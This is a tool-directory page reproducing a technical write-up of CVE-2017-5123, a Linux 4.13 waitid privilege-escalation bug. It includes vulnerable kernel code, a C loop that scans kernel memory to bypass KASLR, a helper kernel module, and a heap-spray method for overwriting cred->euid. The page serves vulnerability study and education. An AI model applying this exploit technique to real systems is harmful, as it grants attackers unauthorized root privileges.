Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/h1bana/cve-2017-5123
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubh1bana/cve-2017-5123

CVE-2017-5123

Detailed technical analysis and proof-of-concept exploit for CVE-2017-5123, a Linux kernel waitid syscall vulnerability enabling local privilege escalation via missing access_ok() check.

View Repository
13 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2017-5123

Bug overview

The waitid system call in the Linux kernel did not validate the destination address used. This could allow a local user to write to kernel memory, potentially leading to privilege escalation on the device or sandbox escape.

Vulnerability description

Vulnerability classification

  • Privilege escalation
  • Sandbox escape (Chrome)

Vulnerability code

kernel/exit.c

root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
        infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;

    user_access_begin(); // bản chất là gọi stac(), tạm thời tắt SMAP
    unsafe_put_user(signo, &infop->si_signo, Efault); // <- thiếu access_ok() check trc khi gọi hàm này
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();  // bản chất là gọi clac(), bật lại SMAP
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

The identified flaw here is the missing access_ok() check before calling the unsafe_put_user() function. In earlier kernel versions, the program used the put_user() function, which includes the access_ok() check.

root@kitploit:~
put_user(x, void __user *ptr)
    if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
        return -EFAULT
    user_access_begin()
    *ptr = x
    user_access_end()

By using the unsafe_put_user() function, the program avoids repeatedly enabling/disabling SMAP multiple times in a short period due to calling user_access_begin() / user_access_end(). The access_ok() function here validates the address ptr, ensuring it belongs to user memory, thus preventing users from writing to kernel memory. So if we call the waitid syscall with the infop parameter pointing to a kernel address, it will trigger this vulnerability.

Exploitation

The missing access_ok() check allows us to pass a kernel address as the infop parameter of waitid, and then the syscall will overwrite this address by calling unsafe_put_user(). A limitation here is that we cannot control what gets written to the provided kernel address. There are 6 fields used for writing: signo, null byte, info.cause, info.pid (max value 0x8000), info.uid, info.status (though int32, only values >0, <256). The most useful field here is probably the null byte. We can use it to overwrite cred->euid and cred->uid. To do that, we need to know the addresses of these two values.

Bypassing KASLR by scanning memory

According to kernel.org, the Kernel-space virtual memory shared among all processes starts at 0xffff800000000000. However, from 0xxffff800000000000 to 0xffff87ffffffffff is a "... guard hole, also reserved for hypervisor", so we will start scanning memory from address 0xffff880000000000. It is also worth noting that we can scan memory because unsafe_put_user() will not crash when accessing invalid addresses. This prevents unprivileged users from DoSing the system by passing invalid addresses.

root@kitploit:~
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
    pid = fork();
    if (pid > 0) 
    {
        if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) 
        {
            printf("[+] Found %p\n", i);
            break;
        }
    }
    else if (pid == 0)
        exit(0);
}

image

Now we know the kernel heap address; next we will determine the address of the cred struct.

Finding the Cred address with heap spray

Although we know the kernel heap address, that address may not be the start of the heap. So we cannot calculate the exact address of the Cred struct. At this point we use a technique called heap spray.

  • If we create many processes, there will be many cred structs in memory, making it easier to guess the cred struct address.
  • Those processes then call geteuid(); if it returns 0, that process is running with root privileges – bingo.
  • The parent process then calls the waitid() syscall using the vulnerability, guesses the cred struct address, and overwrites cred->uid to null.

Debugging to find the cred struct address of child processes takes a lot of time, so I used a module to print the cred->euid address via printk().

root@kitploit:~
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h>        // for basic filesystem
#include <linux/proc_fs.h>    // for the proc filesystem
#include <linux/seq_file.h>    // for sequence files

static struct proc_dir_entry* jif_file;

static int
jif_show(struct seq_file *m, void *v)
{
    return 0;
}

static int
jif_open(struct inode *inode, struct file *file)
{
     printk("EUID: %p\n", &current->cred->euid);
     return single_open(file, jif_show, NULL);
}

static const struct file_operations jif_fops = {
    .owner    = THIS_MODULE,
    .open    = jif_open,
    .read    = seq_read,
    .llseek    = seq_lseek,
    .release    = single_release,
};

static int __init
jif_init(void)
{
    jif_file = proc_create("jif", 0, NULL, &jif_fops);

    if (!jif_file) {
        return -ENOMEM;
    }

    return 0;
}

static void __exit
jif_exit(void)
{
    remove_proc_entry("jif", NULL);
}

module_init(jif_init);
module_exit(jif_exit);

MODULE_LICENSE("GPL");

image

I noticed that addresses have similar patterns, and even after a reboot, the offsets of those addresses remain similar. So I decided to pick an address and then add pagesize in a loop to guess the cred struct address.

image

video demo khai thác IMAGE ALT TEXT HERE

Some issues with this exploitation approach

  • Success rate is not guaranteed.
  • For kernel versions affected by this vulnerability, the exploit may not work on all versions because each different kernel version has different EUID offsets when spraying. To make the PoC run on all versions, when the exploit searches for euid to overwrite to null, I used an address in the form heap addr found + offset, which needs to be reduced to a smaller offset to be usable across multiple versions. However, this means a longer attack time and increased chance of kernel panic/crash due to potentially overwriting other important structs in the heap.

Affected range

  • Affected versions: Linux kernel version 4.13 - 4.13.6
  • commit introducing the vulnerability (2017-05-21, v4.13-rc1)

The patch

  • The patch added an access_ok() check
  • commit fixing the vulnerability

Conclusion

  • The vulnerability can be used for privilege escalation and can be chained with Chrome sandbox escape. At the time of discovery, Chrome's seccomp allowed the use of the waitid syscall.

References

  • Exploiting CVE-2017-5123 with full protections. SMEP, SMAP, and the Chrome Sandbox!
Download Tool